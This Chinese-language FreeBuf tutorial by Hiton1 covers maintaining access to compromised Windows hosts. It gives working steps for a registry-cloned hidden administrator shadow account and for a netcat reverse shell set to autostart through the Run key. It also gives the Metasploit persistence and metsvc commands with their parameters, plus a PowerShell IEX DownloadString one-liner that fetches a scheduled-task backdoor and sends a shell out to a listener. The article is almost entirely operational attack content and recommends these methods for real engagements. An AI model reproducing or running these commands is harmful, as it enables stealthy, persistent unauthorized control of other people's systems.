前言
当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。
在windows主机中,我总结了下面几种权限维持的方法,不足之处还望各位大佬斧正。
添加影子账户
影子账户可以理解为和主体一模一样但是又看不见的账户,其隐蔽性较好,只能在注册表里面看到。
首先,我们需要创建一个隐藏账号OMG$ 使用命令 net user OMG$ /add 即可。
注:隐藏账户是指在使用 net user 命令下看不到的账户。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/选项,双击Administrator记住类型下面的十六进制值0x1f4找到左侧对应得文件夹即000001F4,双击打开复制里面F下的所有内容。
同理,打开OMG$对应的文件夹,将刚刚复制的内容粘贴到F 下。然后将Names下的OMG$和000003EC导出注册表,名字随意取。接着删除OMG$用户(net user OMG$ /del)。最后一步,导入刚刚导出的两个注册表即可(双击即可导入)。
注销当前用户,使用OMG$登录,发现登录成功:
NC自启动
我们可以在受害主机上上传NC,并修改注册表将NC添加为开机自启,不过这种方法需要有一台公网服务器或者将本机端口进行映射。
先来看一下nc的命令:
首先在服务器上开一个监听端口 (nc –l –vv –p yourport):
然后在受害主机上执行nc –t –e cmd.exe ipport
,可以看到服务器上已经接收到来自受害主机的cmdshell。
现在需要修改受害主机注册表,将上一条命令nc –t –ecmd.exe ip port
添加为开机自启,这样受害主机每一次重启之后仍然会主动连接我们的服务器,不过前提是你的服务器得一直监听相关端口,有点鸡肋。
MSF权限维持
使用MSF维持权限的前提是先获得一个Meterpretershell,通过Merterpretershell获取持久性shell的方法有两种:
Persistence模块
首先查看persistence模块帮助信息:
运行run persistence -U -i 10 -p 4444 -r 192.168.34.132
:
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。
重启受害主机后,shell仍然反弹会回来:
Metsvc 模块
一样的,先来看一下它的参数:
很简单,直接运行就可以了。
从这里可以看到,它是通过在,目标主机上开启了一个服务。
监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。
Powershell权限维持
这里推荐一个powershell脚本:https://github.com/re4lity/Schtasks-Backdoor,使用方法见Readme文件。
运行命令:
powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.42.220/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.34.131 -port 53 -time 2"
根据自己的情况做适当修改。
192.168.42.220 是我的本地服务器;
192.168.34.131 是我的一台开了nc监听的主机。
执行上述命令后,192.168.34.131获得一个shell:
总结
通过以上几种方法基本上可以维持一个windows主机的权限,各有利弊,这里只是对常见的方法做了一个总结,更多的方法还需要大家自行探索发现。在实战中推荐大家多用MSF和powershell。
参考:
*本文作者:Hiton1,转载请注明来自FreeBuf.COM